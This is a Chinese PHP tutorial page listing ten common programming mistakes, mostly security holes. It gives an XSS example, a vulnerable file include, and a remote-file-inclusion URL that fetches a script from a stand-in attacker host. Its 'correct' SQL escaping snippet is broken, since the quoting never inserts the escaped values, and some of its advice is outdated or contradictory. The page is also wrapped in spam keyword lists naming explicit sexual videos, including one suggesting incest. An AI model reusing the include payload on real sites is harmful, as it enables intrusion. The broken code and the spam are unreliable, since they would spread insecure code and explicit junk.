国产片侵犯亲女视频播放_亚洲精品二区_在线免费国产视频_欧美精品一区二区三区在线_少妇久久久_在线观看av不卡

服務器之家:專注于服務器技術及軟件下載分享
分類導航

PHP教程|ASP.NET教程|Java教程|ASP教程|編程技術|正則表達式|C/C++|IOS|C#|Swift|Android|VB|R語言|JavaScript|易語言|vb.net|

服務器之家 - 編程語言 - PHP教程 - PHP程序員編程注意事項

PHP程序員編程注意事項

2019-10-28 13:24php教程網(wǎng) PHP教程

PHP程序員最易犯10種錯誤所以下面的好多都是我們需要注意的地方PHP是個偉大的web開發(fā)語言,靈活的語言,但是看到php程序員周而復始的犯的一些錯誤。我做了下面這個列表,列出了PHP程序員經(jīng)常犯的10中錯誤,大多數(shù)和安全相關。

1.不轉意html entities 
  一個基本的常識:所有不可信任的輸入(特別是用戶從form中提交的數(shù)據(jù)) ,輸出之前都要轉意。 echo $_GET['usename'] ; 
這個例子有可能輸出: 
<script>/*更改admin密碼的腳本或設置cookie的腳本*/</script> 
這是一個明顯的安全隱患,除非你保證你的用戶都正確的輸入。 
如何修復 : 
我們需要將"< ",">","and" 等轉換成正確的HTML表示(< , >', and "),函數(shù)htmlspecialchars 和 htmlentities()正是干這個活的。 
正確的方法: 

復制代碼代碼如下:


echo htmlspecialchars($_GET['username'], ENT_QUOTES); 



2. 不轉意SQL輸入 
我曾經(jīng)在一篇文章中最簡單的防止sql注入的方法(php+mysql中)討論過這個問題并給出了一個簡單的方法 。有人對我說,他們已經(jīng)在php.ini中將magic_quotes設置為On,所以不必擔心這個問題,但是不是所有的輸入都是從$_GET, $_POST或 $_COOKIE中的得到的! 
如何修復: 

和在最簡單的防止sql注入的方法(php+mysql中)中一樣我還是推薦使用mysql_real_escape_string()函數(shù) 正確做法: 

復制代碼代碼如下:


<?php  
$sql = "Update users SET  
name='.mysql_real_escape_string($name).'  
Where id='.mysql_real_escape_string ($id).'";  
mysql_query($sql);  
?> 



3.錯誤的使用HTTP-header 相關的函數(shù): header(), session_start(), setcookie() 
遇到過這個警告嗎?"warning: Cannot add header information - headers already sent [....] 

每次從服務器下載一個網(wǎng)頁的時候,服務器的輸出都分成兩個部分:頭部和正文。 
頭部包含了一些非可視的數(shù)據(jù),例如cookie。頭部總是先到達。正文部分包括可視的html,圖片等數(shù)據(jù)。 
如果output_buffering設置為Off,所有的HTTP-header相關的函數(shù)必須在有輸出之前調用。問題在于你在一個環(huán)境中開發(fā),而在部署到另一個環(huán)境中去的時候,output_buffering的設置可能不一樣。結果轉向停止了,cookie和session都沒有正確的設置........。 

如何修復: 
確保在輸出之前調用http-header相關的函數(shù),并且令output_buffering = Off 
。 

4. Require 或 include 的文件使用不安全的數(shù)據(jù) 
再次強調:不要相信不是你自己顯式聲明的數(shù)據(jù)。不要 Include 或 require 從$_GET, $_POST 或 $_COOKIE 中得到的文件。 

例如: 
index.php 

復制代碼代碼如下:


<?  
//including header, config, database connection, etc  
include($_GET['filename']);  
//including footer  
?> 



現(xiàn)在任一個黑客現(xiàn)在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt 
來獲取你的機密信息,或執(zhí)行一個PHP腳本。  
如果allow_url_fopen=On,你更是死定了: 
試試這個輸入: 
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php 
現(xiàn)在你的網(wǎng)頁中包含了http://www.youaredoomed.com/phphack.php的輸出. 黑客可以發(fā)送垃圾郵件,改變密碼,刪除文件等等。只要你能想得到。 
如何修復: 
你必須自己控制哪些文件可以包含在的include或require指令中。 

下面是一個快速但不全面的解決方法: 

復制代碼代碼如下:


<?  
//Include only files that are allowed.  
$allowedFiles = array('file1.txt','file2.txt','file3.txt');  
if(in_array((string)$_GET['filename'],$allowedFiles)) {  
include($_GET['filename']);  
}  
else{  
exit('not allowed');  
}  
?> 




5. 語法錯誤 
語法錯誤包括所有的詞法和語法錯誤,太常見了,以至于我不得不在這里列出。解決辦法就是認真學習PHP的語法,仔細一點不要漏掉一個括號,大括號,分號,引號。還有就是換個好的編輯器,就不要用記事本了! 

6.很少使用或不用面向對象 
很多的項目都沒有使用PHP的面向對象技術,結果就是代碼的維護變得非常耗時耗力。PHP支持的面向對象技術越來越多,越來越好,我們沒有理由不使用面向對象。 

7. 不使用framework 
95% 的PHP項目都在做同樣的四件事: Create, edit, list 和delete. 現(xiàn)在有很多MVC的框架來幫我們完成這四件事,我們?yōu)楹尾皇褂盟麄兡兀?nbsp;

8. 不知道PHP中已經(jīng)有的功能 
PHP的核心包含很多功能。很多程序員重復的發(fā)明輪子。浪費了大量時間。編碼之前搜索一下PHP mamual,在google上檢索一下,也許會有新的發(fā)現(xiàn)!PHP中的exec()是一個強大的函數(shù),可以執(zhí)行cmd shell,并把執(zhí)行結果的最后一行以字符串的形式返回。考慮到安全可以使用EscapeShellCmd()  

9.使用舊版本的PHP 

很多程序員還在使用PHP4,在PHP4上開發(fā)不能充分發(fā)揮PHP的潛能,還存在一些安全的隱患。轉到PHP5上來吧,并不費很多功夫。大部分PHP4程序只要改動很少的語句甚至無需改動就可以遷移到PHP5上來。根據(jù)http://www.nexen.net的調查 只有12%的PHP服務器使用PHP5,所以有88%的PHP開發(fā)者還在使用PHP4. 

10.對引號做兩次轉意 

見過網(wǎng)頁中出現(xiàn)\'或\'"嗎?這通常是因為在開發(fā)者的環(huán)境中magic_quotes 設置為off,而在部署的服務器上magic_quotes =on. PHP會在 GET, POST 和 COOKIE中的數(shù)據(jù)上重復運行addslashes() 。 
原始文本: 
It's a string 

magic quotes on : 
It\'s a string 
又運行一次 
addslashes(): 
It\\'s a string 

HTML輸出: 
It\'s a string 

還有一種情況就是,用戶一開始輸入了錯誤的登錄信息,服務器檢測到錯誤輸入后,輸出同樣的form要求用戶再次輸入,導致用戶的輸入轉意兩次!

延伸 · 閱讀

精彩推薦
Weibo Article 1 Weibo Article 2 Weibo Article 3 Weibo Article 4 Weibo Article 5 Weibo Article 6 Weibo Article 7 Weibo Article 8 Weibo Article 9 Weibo Article 10 Weibo Article 11 Weibo Article 12 Weibo Article 13 Weibo Article 14 Weibo Article 15 Weibo Article 16 Weibo Article 17 Weibo Article 18 Weibo Article 19 Weibo Article 20 Weibo Article 21 Weibo Article 22 Weibo Article 23 Weibo Article 24 Weibo Article 25 Weibo Article 26 Weibo Article 27 Weibo Article 28 Weibo Article 29 Weibo Article 30 Weibo Article 31 Weibo Article 32 Weibo Article 33 Weibo Article 34 Weibo Article 35 Weibo Article 36 Weibo Article 37 Weibo Article 38 Weibo Article 39 Weibo Article 40
主站蜘蛛池模板: 亚洲精品国产精品国自产在线 | 久久99这里只有精品 | 在线国产小视频 | 91精品国产综合久久香蕉的用户体验 | 国产脚交av在线一区二区 | 中文字幕一区二区三区四区 | 一级做a爰片久久高潮 | 黄片毛片毛片毛片 | 欧美精品一区二区久久 | 超碰官网 | 北条麻妃99| 久久99国产精品久久99大师 | 国产精品视频网 | 中文日韩在线 | 视频一区二区三区在线观看 | 国产成人欧美一区二区三区的 | 精品国产黄a∨片高清在线 天天色天天色 | 91精品国产综合久久久久久丝袜 | 久久久精品日本 | 97理论片 | 精品国产欧美 | 欧美日韩精品 | 日本黄a三级三级三级 | 欧美一级全黄 | 亚洲成人福利网 | 亚洲精品在线视频观看 | 精品视频网站 | 在线国产一区 | 色女网| 成人亚洲一区 | 亚洲色图在线观看 | 一区二区三区国产 | 一区视频网站 | 在线99热 | 特黄视频 | 久久精品国产99国产精品 | 精品久久久久久久久久久下田 | 中文字幕精品一区二区三区精品 | 亚洲成人精品在线 | 国产美女精品 | 一本一道久久a久久精品逆3p |